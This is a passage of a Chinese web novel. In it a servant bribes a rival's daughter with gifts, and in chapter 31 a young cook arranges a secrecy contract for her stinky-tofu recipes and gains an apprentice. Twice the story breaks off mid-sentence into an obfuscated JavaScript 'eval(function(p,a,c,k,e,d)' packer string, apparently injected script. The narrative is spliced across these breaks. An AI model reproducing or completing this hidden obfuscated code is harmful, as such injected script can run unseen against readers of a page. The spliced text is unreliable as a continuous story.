她转身又去了脂粉铺子，先是买了一盒子茉莉香粉，而后再去布料行，买了两朵绢花才罢休，把自己藏匿的私房钱用了个干干净净。 回府以后，她便去吴妈妈家了。 吴妈妈不在家，开门的是绣荷，她认得素兰，歪在门框上，斜着眼儿瞅她：“你不去抱那寒姐儿的腿，跑到我家来做什么？” 今日，绣荷上值时也打听了些，得知霸了自家娘亲位置的人不是旁的，正是那日帮映红说话，口齿伶俐的小丫头以后，那真真是新仇旧恨，挤在一块了！ 绣荷气急，又很快想出主意来，忙寻了几个与她关系好的丫鬟，教她们去灶房点菜名，选的都是自家娘亲擅长做的。 她等着寒姐儿叫苦，老老实实把那掌勺厨娘的位子送回到自家娘亲手上。 至于秋月和素兰，虽同样是家生子，但绣荷一个都看不上。两人家里都无甚门路，背后无人，就连长相也是普普通通，瞧着未来无甚出息。 素兰晓得绣荷是常哥儿院里的人，这也是她不愿离开吴妈妈的缘故。 吴妈妈的女儿进了常哥儿院子，瞧着已站稳了跟脚。虽然吴妈妈八成是不愿收自己当干女儿，但能当上徒弟也好，往后要是绣荷有了出息，她也有了靠山。 等吴妈妈重新回到掌勺厨娘的位置上，自己不但能学到手艺，而且还能拉上关系。 素兰想着以后，弯着腰赔笑道：“绣荷姐姐，那寒姐儿不过是学了些登不上台面的乡野小菜，耍了些小手段蒙蔽了吴妈妈。昨日那事出了，我便替吴妈妈委屈，这不——” 她把放在旁边的礼物取来，特意把绢花和香粉放在最上头，奉到绣荷跟前：“我今日下值便去了外面买东西，想来孝敬孝敬吴妈妈和姐姐的。” 绣荷先是不以为然，听到还有给自己的礼才打起精神。 她顺着素兰的动作去看，撇见搁在最上头的绢花和茉莉香粉。绢花也就罢了，倒是那盒香粉价贵，一盒便要两三百文钱。 绣荷上回出门便想买这物，结果袋里的银钱被珍珠等人掏了个干干净净。 见着此物，绣荷脸上的笑容真切了许多，笑道：“这般贵重的东西，你真要送我？” “姐姐言重了，妹妹一贯来想与妈妈和姐姐亲近一番。”素兰心中松了口气，话语间更是慎重小心，唯恐惹了绣荷不喜。她用眼角余光瞥着绣荷神色，缓缓道：“可惜过去一直未见得姐姐，见着才晓得难怪姐姐能进常哥儿院子，真真是神仙般的容貌。” 素兰说罢，难掩羡慕，绣荷专挑了吴妈妈和她爹好地方长，皮肤白净细嫩，杏眼桃腮，身段匀称，还有一头乌黑油亮的头发。 别说在常哥儿院里，在府里丫鬟中都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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吃过的仆妇细细思考当时的情景，将全数过程尽数说给众人听：“刚开始寒姐儿拿出来时咱们真以为是坏豆腐呢，后头寒姐儿解释咱们才晓得，原是用卤汤发酵而成的豆腐，那汤闻着臭，据寒姐儿说还用了不少好料呢。” “就那味道……是用了好料？” “寒姐儿这么与许娘子说的，我们吃了也没拉肚子，想来应当是真的。” 这种东西，众人是想都没想过，嗅着刚刚那怪异味道，真真难以想象那物的滋味。 不过许娘子都认同寒姐儿了，想来定然是颇为独特的吃食罢？ 正当孙婆子等人议论时，苏芷寒已来到小红家中。迎面而来的祖孙二人眼底青黑，看起来昨日一夜都未睡好。 这也难怪，主要是苏芷寒说有法子教老汉一家跌个跟头，往后再没办法做那骗人的勾当，听时陈奶奶和小红异常激动，可回头想想又觉得离谱。 那老汉与家里人，拿坏豆腐做骗人的勾当已是许久，却一直都未被人抓到手脚过，想让他们起了贪念，可不容易。 昨晚上想，今早上想，今下午还在想。 直到苏芷寒进来以前，祖孙俩人还在琢磨这件事。比起人小胆大，纯粹是好奇苏芷寒琢磨了什么主意的小红不同，陈奶奶想来想去，还觉得风险忒大，准备与苏芷寒说说，被骗就被骗了，要不就这般打住吧？ 31.第三十一章 陈奶奶见着苏芷寒手里捧着陶锅，一边上前问好，一边伸出双手去接：“苏娘子，我来帮您拿着。” 等入手以后，陈奶奶发现这陶锅份量并不算沉，且行走间还能听到汤汁撞击锅壁的声响，想来应当是一锅子汤水。 苏娘子拿一锅子汤水过来做什么？ 陈奶奶心中好奇，未等她开口询问，鼻尖先嗅到一股说不上来的怪异气味。 那味道起初寡淡，而后渐渐浓郁，从上至下席卷全身，让陈奶奶不由地屏住呼吸，下意识停在原地。她迅速发现气味的来源，望着陶锅的眼神分外古怪。 “奶奶，我来帮您拿。”小红还以为是东西重，忙上前帮忙。 只不过走近两步，直面这股味道的她便发现情况不对。小红捏着鼻子：“唔？奶奶，您身上什么味儿……” “是这锅子里的味。”陈奶奶回了一句，又连忙往里走。她步子快的不行，活像是后面有人在追着她跑一般。 陈奶奶把锅子搁在石桌上，又赶紧往后撤出几步，大口大口呼吸几下，这才觉得整个人缓过来：“苏娘子，这锅里放的是什么？味道，味道……” 陈奶奶犹豫再三，搜肠刮肚，最后犹疑道：“着实有些，有些奇怪。” “这物是用来制作臭豆腐的卤汤。” “制作……臭豆腐的卤汤？”陈奶奶重复一遍，她确信自己有生以来都未曾听过这样的吃食。 难道这也是侯府里的吃食？ 老天爷！侯府里的贵人主子们竟是口味这般重！？ 陈奶奶心生敬畏，打量的眼神在锅子上转了一圈又一圈。苏芷寒瞧着她的疑惑，并未立刻解释，而是卖了个关子：“稍稍过一会儿，再与你们细细说。” 紧接着，她询问小红：“豆腐买来了吗？” “买，买来了。”小红闻言，连连点头，回屋里取来一筐子豆腐。 与昨日在大厨房里操作的那般，苏芷寒先把豆腐切成均匀的长方块，而后尽数放入卤汁里浸泡。 待她盖上锅盖，转身想与陈奶奶和小红说话时，就见两人已退后数步，躲到门口，惊惧交加地望着自己这边。 苏芷寒又是好气又是好笑，正当她想要解释解释时，外面有人敲响了大门：“陈大娘在吗？” “来了来了。”陈奶奶还以为是邻里嗅着味儿，前来寻事。她心虚得很，努力维持着冷淡的表情，打算在对方开口前就怼回去。 等陈奶奶拉开门，却是愣了愣，出现在她眼前的不是别人，正是牙行为小红介绍这份工作的牙人：“哎呀，卫大伯？您怎么来了？” 卫牙人脸上带着笑：“陈大娘好，是苏娘子唤我到这里来的。” 陈奶奶呆呆地应了声，急急忙忙地让开身来，请牙人进了院子。她把门合上，望着卫牙人往里走的背影，着实有些迷糊，心中暗想苏娘子请牙人来的缘由。 应当……不是嫌弃小红吧？ 陈奶奶心中忐忑，都快忘了那气味怪异的卤水。她跟着卫牙人来到苏芷寒，听上半响才晓得苏芷寒请牙人来，竟是为了与他们重新签订一份契书。 ？？？？？ 好端端的，怎要重新签订契书？陈奶奶和小红皆是云里来雾里去，满脸迷茫。 而听懂苏芷寒话语，正在提笔撰写契书的卫牙人撇了一眼两人模样，暗叹陈奶奶和小红好运。 这般大方的主户，真真是难得一见。 卫牙人撰写好契书，而后仔细与陈奶奶和小红说明情况，务必要两人知道她们得到了多大的运气：“陈大娘，红姐儿，我与你们说一说……” 陈奶奶听着听着，便愣住了，原是苏芷寒使卫牙人重新撰写契书，并非是要改赁人方子，又或是别的什么，而是需要她们祖孙二人在接下去两年里，严格保密卤汁豆干和臭豆腐的方子。 与此相对应的是，两年后苏芷寒将会把两个方子无偿教给陈奶奶和小红，让他们自行经营。 “陈大娘，红姐儿，你们这运道……” “真真是厉害啊！”卫牙人冲着两人竖起大拇指，不由地感叹一声。 要晓得，此前还有铺子寻到他跟前，想请他帮忙联系联系苏娘子，问问她愿不愿意出售方子。 这般的方子，都是铺子里的机密。 像是陈大娘和红姐儿这般的普通人家，往后拿着方子开个脚店，便能有稳定的收入。这般过上几年，虽不能发家致富，但日子肯定要宽裕舒服许多。 陈奶奶都听得呆了，半响才回过神来，连连摆手道：“使不得啊，使不得啊！” 苏娘子竟是打算把卤汁豆干的方子给咱们？陈奶奶忽略了臭豆腐的存在，满心都是不可思议。 她帮衬着小红卖了好些日子的卤汁豆干，自是晓得这物收益不菲的同时，苏娘子给自家小红待遇也是好过同行。 曾同时去牙行应聘，却是没被苏娘子挑中的女郎还来醋上几句，陈奶奶后头才晓得她去人铺里打杂，说是时间宽松实则从早到晚都没得清闲，还挑三拣四，寻各种错处扣钱。 后来，周遭邻里和远房亲戚还曾到他们这里来打探过，甚至还有人怂恿他们把方子偷学来自己做的，可陈奶奶一个都没搭理，还教小红离那些人远着些，她与孙女宁可穷，也得有志气，不能做那些下三滥的，让祖宗丢人的事。 做多了那些下三滥的事，脑子也净是往歪道上走，即便后头晓得不对了，也没了回头的路，只能一条路走到底了。 陈奶奶疾步走到苏芷寒跟前，伸手摁住那张契书：“苏娘子，万万不可啊！你赁了小红帮忙做事，已是帮了咱们家大忙，况且守信本就是咱们应该做到的事……何必，何必再重新撰写契书？” 卫牙人听着，也连连点头。他想起头回苏芷寒来的时候，身边还跟着个年长的娘子：“您要不要与家里人商量商量，再做决定？” 苏芷寒笑道：“这就是咱们商量好的——陈奶奶，我也是想着我如今在府里做厨娘，往后恐是难得有时间出门，这才想着要教你们做。” “要是你们不愿意的话……” “不不不……我们当然是愿意的。”陈奶奶下意识开口，却又觉得苏芷寒给的太多，立在原地多少有些迟疑起来。 苏芷寒见状，耐心等陈奶奶考虑清楚。 陈奶奶觉得自己吃亏，而苏芷寒却是不觉得的。要晓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小红听着大人对话，懵懵懂懂的，她只听得帮苏娘子做两年工，苏娘子便愿意教她方子，依稀间想起街头的木匠铺子，往日也是这般教育家里的学徒的。 小红想了想，道：“师傅！” 刹那间院子里安静无声，别说陈奶奶和卫牙人齐齐看向小红，就连苏芷寒也错愕地看向她：“……哎？” “对，对啊！”陈奶奶如梦初醒，登时喜不胜喜。她一直想让孙女与苏娘子亲近些，往后也好进侯府里做事。 拜师，不正是最好的选择吗？ 时下师徒关系之牢固，便如父女母子，双方缔结正式的师傅关系以后，不但受官府肯定，更是得百姓社会认同。若是徒弟欺辱师傅，则会遭到世俗鄙夷，甚至被宗族乃至街坊邻里驱逐。 “不如就让小红拜您为师吧！” “小红只比我小了两岁，怎么能做我徒弟。”苏芷寒连连婉拒。 “就是我也听过达者为师的话语。”陈奶奶厚着脸皮，直言道。 她不觉得自己的话有错，像是苏娘子这般年岁的女郎，多是和自家孙女一般不晓事，或是在到处打杂学手艺，哪像是这般能在侯府里当厨娘，随手拿出个方子便能赚这么多银钱的。 不等苏芷寒再拒绝，陈奶奶伸手推了推小红。小红平日笨拙，此刻却分外机灵，干脆利落地跪在地上，而后给苏芷寒磕了三个响头。